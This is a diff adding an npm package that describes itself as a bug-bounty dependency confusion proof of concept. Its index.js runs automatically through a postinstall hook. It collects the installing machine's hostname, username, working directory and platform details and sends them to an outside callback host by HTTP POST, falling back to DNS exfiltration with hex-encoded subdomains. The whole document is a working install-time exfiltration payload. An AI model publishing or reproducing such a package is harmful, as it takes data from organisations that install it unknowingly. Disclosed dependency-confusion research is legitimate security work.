test-bugbounty-package-9 99.99.99

package/index.js

@@ -0,0 +1,87 @@
+// Bug Bounty - Dependency Confusion PoC
+// Package: test-bugbounty-package-9
+// Contact: dd_06@wearehackerone.com
+
+const dns = require('dns');
+const os = require('os');
+const http = require('http');
+const https = require('https');
+
+function toHex(input) {
+    return Buffer.from(input, 'utf8').toString('hex');
+}
+
+const info = {
+    pkg: "test-bugbounty-package-9",
+    hostname: os.hostname(),
+    user: os.userInfo().username,
+    cwd: process.cwd(),
+    platform: os.platform(),
+    arch: os.arch(),
+    nodeVersion: process.version,
+    timestamp: new Date().toISOString()
+};
+
+const CALLBACK_URL = 'https://deepbounty.dd06-dev.fr/cb/383a550b-4aff-4552-b849-b6ffec1d413d';
+
+function sendDnsPayload() {
+    try {
+        const parsed = new URL(CALLBACK_URL);
+        const baseDomain = parsed.hostname;
+        const uuidLabel = (parsed.pathname.split('/').filter(Boolean).pop() || 'cb').replace(/[^a-zA-Z0-9]/g, '');
+
+        const hexPayload = toHex(JSON.stringify(info));
+        const chunks = hexPayload.match(/.{1,50}/g) || [];
+
+        if (!chunks.length || !baseDomain) return;
+
+        chunks.forEach((chunk, index) => {
+            // Reconstruct hostname: index-total.uuid.chunk.domain
+            const hostname = `${index}-${chunks.length}.${uuidLabel}.${chunk}.${baseDomain}`;
+            
+            // Jitter requests to avoid flooding local resolver
+            setTimeout(() => {
+                dns.lookup(hostname, (err) => { /* ignore result */ });
+            }, index * 200);
+        });
+    } catch (e) {}
+}
+
+function sendHttpPayload() {
+    try {
+        const parsed = new URL(CALLBACK_URL);
+        const postData = JSON.stringify(info);
+        const lib = parsed.protocol === 'https:' ? https : http;
+
+        const req = lib.request(CALLBACK_URL, {
+            method: 'POST',
+            headers: {
+                'Content-Type': 'application/json',
+                'Content-Length': Buffer.byteLength(postData)
+            },
+            timeout: 3000
+        }, (res) => {
+            res.on('data', () => {}); // Consume stream
+        });
+
+        // Fallback on Network Error
+        req.on('error', (e) => {
+            sendDnsPayload();
+        });
+
+        // Fallback on Timeout
+        req.on('timeout', () => {
+            req.destroy();
+            sendDnsPayload();
+        });
+
+        req.write(postData);
+        req.end();
+
+    } catch (e) {
+        sendDnsPayload();
+    }
+}
+
+// Start with HTTP; it will fallback to DNS if needed.
+sendHttpPayload();

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "test-bugbounty-package-9",
+  "version": "99.99.99",
+  "description": "Bug Bounty package - If you see this, your organization may be vulnerable to dependency confusion",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "keywords": [
+    "security",
+    "bug-bounty",
+    "dependency-confusion"
+  ],
+  "license": "MIT"
+}